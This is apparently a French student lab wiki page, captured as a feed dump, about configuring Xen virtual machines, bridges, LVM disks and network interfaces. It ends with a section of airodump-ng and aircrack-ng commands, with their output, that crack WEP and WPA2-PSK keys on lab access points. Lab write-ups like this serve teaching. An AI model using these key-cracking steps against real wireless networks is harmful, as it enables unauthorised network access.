Une '''VIF (Virtual Interface)''', c’est tout simplement une '''carte réseau virtuelle''' vue par la VM.&lt;br /&gt;
&lt;br /&gt;
Dans la VM, elle apparaîtra comme une interface réseau (genre &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc., selon l’OS).&lt;br /&gt;
&lt;br /&gt;
===== Différence avec une machine physique =====&lt;br /&gt;
Sur un PC “réel”, tu es limité :&lt;br /&gt;
&lt;br /&gt;
* par le nombre de ports Ethernet / cartes réseau dispo physiquement&lt;br /&gt;
&lt;br /&gt;
Dans une VM, pas ce souci :&lt;br /&gt;
&lt;br /&gt;
* tu peux ajouter autant de VIF que tu veux '''en théorie'''&lt;br /&gt;
* en pratique : tu restes limité par la perf + la complexité de ton archi réseau (mais c’est déjà énorme)&lt;br /&gt;
&lt;br /&gt;
==== 2) Ce qu’on veut dans le TP : 2 cartes réseau ====&lt;br /&gt;
Dans le cadre du TP, on te demande '''2 VIF''' :&lt;br /&gt;
&lt;br /&gt;
'''VIF 1 : réseau interne de ton groupe (bridge du “switch” virtuel)'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le '''bridge''' qui relie tes '''3 machines''' (tes VM du groupe)&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Objectif : que tes VMs communiquent entre elles comme si elles étaient branchées sur le même switch.&lt;br /&gt;
&lt;br /&gt;
'''VIF 2 : réseau “école / Internet / infra”'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le bridge qui donne l’accès au '''reste de l’infra''' + Internet&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (bridge officiel du TP)&lt;br /&gt;
&lt;br /&gt;
Objectif : accès Internet + accès au reste de l’infra (routeurs, services, etc.)&lt;br /&gt;
&lt;br /&gt;
===== Mode “secours” : &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt; =====&lt;br /&gt;
Tant que le bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; n’est pas encore “brassé” correctement (câblage + routeurs Cisco + etc.), tu peux utiliser :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ça te donne déjà :&lt;br /&gt;
&lt;br /&gt;
* Internet&lt;br /&gt;
* de quoi avancer sur une grosse partie du TP&lt;br /&gt;
&lt;br /&gt;
⚠️ Mais à la fin, pour la note max :&lt;br /&gt;
&lt;br /&gt;
Vous devez faire le '''brassage / branchement réel''' des commutateurs en '''E304 / E306 / E200''', et configurer la partie Cisco reliée au bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 3) Exemple de section réseau dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Networking&lt;br /&gt;
dhcp = 'dhcp'&lt;br /&gt;
vif  = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Comment lire ça ? =====&lt;br /&gt;
* &amp;lt;code&amp;gt;vif = [...]&amp;lt;/code&amp;gt; : liste des cartes réseau virtuelles&lt;br /&gt;
* chaque ligne décrit '''une VIF'''&lt;br /&gt;
* &amp;lt;code&amp;gt;mac=...&amp;lt;/code&amp;gt; : la MAC address que la VM utilisera (utile pour DHCP, filtrage, repérage)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; : le bridge Xen/Linux sur lequel tu connectes cette VIF&lt;br /&gt;
&lt;br /&gt;
c’est littéralement “sur quel switch virtuel tu branches le câble”&lt;br /&gt;
&lt;br /&gt;
==== 4) Lien avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt; (ce que tu retrouves dans le cfg) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;antlr-cpp&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt \&lt;br /&gt;
  --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Elle fait plusieurs trucs automatiquement :&lt;br /&gt;
&lt;br /&gt;
* crée le disque système (&amp;lt;code&amp;gt;disk.img&amp;lt;/code&amp;gt;) + swap (&amp;lt;code&amp;gt;swap.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* configure le hostname&lt;br /&gt;
* met une config réseau DHCP&lt;br /&gt;
* et '''ajoute 1 bridge''' par défaut (&amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Mais elle ne connaît pas forcément ta future archi avec &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; séparés, ni le second bridge (SE4).&lt;br /&gt;
&lt;br /&gt;
Donc tu '''complètes à la main''' dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 5) Ajouter tes volumes logiques &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;disk = [...]&amp;lt;/code&amp;gt; ====&lt;br /&gt;
Dans ton fichier config, tu as une section :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Comprendre &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; → disque = '''fichier image''' (un &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt; → disque = '''vrai block device''' côté hôte (ex : volume LVM dans &amp;lt;code&amp;gt;/dev/virtual/...&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc pour brancher tes volumes logiques LVM, tu ajoutes :&amp;lt;syntaxhighlight lang=&amp;quot;ansys&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ce qui donne :&amp;lt;syntaxhighlight lang=&amp;quot;antlr-c#&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 6) C’est quoi &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
C’est juste '''le nom du disque vu par la VM'''.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt; = “disque A virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; = “disque B virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; = “partition 3 du disque A” (façon de parler : c’est l’identifiant donné à Xen)&lt;br /&gt;
&lt;br /&gt;
'''Ce qui compte vraiment'''&lt;br /&gt;
&lt;br /&gt;
✅ Que chaque “source” (file/phy) ait un '''identifiant unique''' côté VM.&lt;br /&gt;
&lt;br /&gt;
Le choix &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; n’a rien de magique : c’est juste une convention.&lt;br /&gt;
&lt;br /&gt;
'''Petit conseil pratique (propre et simple)'''&lt;br /&gt;
&lt;br /&gt;
* garde tout sur &amp;lt;code&amp;gt;xvda1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda2&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda4&amp;lt;/code&amp;gt;… (ça évite de te perdre)&lt;br /&gt;
* ou alors fais :&lt;br /&gt;
** &amp;lt;code&amp;gt;xvda...&amp;lt;/code&amp;gt; pour OS + swap&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; pour home&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdc&amp;lt;/code&amp;gt; pour var  (plus lisible quand tu en as beaucoup)&lt;br /&gt;
&lt;br /&gt;
Les deux se font. L’important, c’est d’être '''cohérent'''.&lt;br /&gt;
&lt;br /&gt;
==== 7) Le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; à la fin : super important ====&lt;br /&gt;
À la fin de chaque ligne de disque, tu as :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; = '''write''' (lecture + écriture)&lt;br /&gt;
* &amp;lt;code&amp;gt;r&amp;lt;/code&amp;gt; = read-only (lecture seule)&lt;br /&gt;
&lt;br /&gt;
Donc si tu oublies le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; sur un volume &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, tu vas vite te retrouver avec :&lt;br /&gt;
&lt;br /&gt;
* des erreurs d’écriture&lt;br /&gt;
* ou un système qui refuse de monter le FS correctement  Pour des volumes de données, c’est '''toujours &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Montage des partitions et fichier &amp;quot;fstab&amp;quot;&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Très important : ça se fait dans la VM, pas sur capbreton ====&lt;br /&gt;
Les commandes &amp;lt;code&amp;gt;mkfs&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt; sont à exécuter '''dans la VM''' (le DomU).&lt;br /&gt;
&lt;br /&gt;
* Sur '''capbreton (Dom0 / hôte Xen)''', '''ne touche jamais à &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : c’est le cœur des services (logs, state, packages, etc.). Si tu déplaces &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; sur le host, tu peux casser l’infra du TP (et potentiellement les autres VMs / services).&lt;br /&gt;
* Sur capbreton, ton job c’est '''créer les volumes LVM''' et les '''attacher''' à la VM dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;. Point.&lt;br /&gt;
&lt;br /&gt;
==== Rappel : c’est quoi &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; = “variable data”, donc tout ce qui '''change souvent''' et peut '''grossir vite'''.&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; : logs (ça peut exploser si un service spam)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/lib&amp;lt;/code&amp;gt; : données applicatives (ex: bases de données, états de services)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/cache&amp;lt;/code&amp;gt; : caches (apt, etc.)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; : fichiers temporaires “longue durée”&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/spool&amp;lt;/code&amp;gt; : files d’attente (mail, cron, impressions…)&lt;br /&gt;
&lt;br /&gt;
Pourquoi on le met sur un volume dédié : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; se remplit, tu évites de remplir &amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt; et de rendre la VM inutilisable.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Explication rapide des commandes ===&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mkfs -t ext4 /dev/xvdb1&amp;lt;/code&amp;gt;''' : ''formatage'' → crée un système de fichiers ext4 sur le disque.  ⚠️ Ça '''efface''' ce qu’il y avait dessus.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount &amp;lt;device&amp;gt; &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “branche” le système de fichiers sur un dossier.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;umount &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “débranche”.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount -a&amp;lt;/code&amp;gt;''' : monte tout ce qui est dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt;''' : déplace. Sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, c’est risqué parce que des fichiers peuvent être utilisés en live.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;'''DÉMARRAGE AUTOMATIQUE DU MONTAGE'''&amp;lt;/u&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Fichier fstab.png|alt=Fichier fstab|centré|cadre|Fichier fstab]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== CONFIGURATION RÉSEAU DE NOS VM ==&lt;br /&gt;
&lt;br /&gt;
=== Rappel du schéma et du rôle des machines ===&lt;br /&gt;
Dans l’infra, on a deux “mondes” réseau en parallèle :&lt;br /&gt;
&lt;br /&gt;
* '''Un réseau IPv4 privé''' (non routable sur Internet) : utilisé pour l’interconnexion interne et la sortie Internet via NAT.&lt;br /&gt;
* '''Un réseau IPv6 public''' : utilisé pour rendre les VM accessibles directement depuis l’extérieur (et accéder à Internet en IPv6 sans NAT).&lt;br /&gt;
&lt;br /&gt;
=== VM de service (serveurs) ===&lt;br /&gt;
&lt;br /&gt;
* IPv4 '''privé''' : pour sortir sur Internet via le mandataire (NAT/Masquerade).&lt;br /&gt;
* IPv6 '''public''' : pour être joignable directement (pas de NAT).&lt;br /&gt;
&lt;br /&gt;
=== VM mandataire (gateway) ===&lt;br /&gt;
&lt;br /&gt;
* Reliée au '''réseau privé IPv4''' : côté interne &lt;br /&gt;
* Reliée au '''réseau public''' : côté infra école + Internet.&lt;br /&gt;
* Fait l’interconnexion (routage + NAT + redirections de ports si besoin).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM de service ===&lt;br /&gt;
&lt;br /&gt;
==== Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (service) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.2/27 #192.168.3.3 pour notre deuxième service nommée Valmont&lt;br /&gt;
        gateway 192.168.3.1 #adresse IPv4 de notre mandataire&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto #attention de ne pas mettre en dhcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM mandataire ===&lt;br /&gt;
Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.165/27&lt;br /&gt;
        gateway 193.48.57.162&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lecture du truc&lt;br /&gt;
&lt;br /&gt;
eth0 (IPv4 privé) : 192.168.3.1 = gateway des services (réseau interne)&lt;br /&gt;
&lt;br /&gt;
eth1 (public) :&lt;br /&gt;
&lt;br /&gt;
IPv4 public 193.48.57.165/27&lt;br /&gt;
&lt;br /&gt;
gateway public 193.48.57.162 (VRRP)&lt;br /&gt;
&lt;br /&gt;
IPv6 en auto (pour avoir IPv6 public côté mandataire aussi)&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12374</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12374"/>
		<updated>2026-02-24T14:10:10Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Ton /etc/network/interfaces (service) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', tu as '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
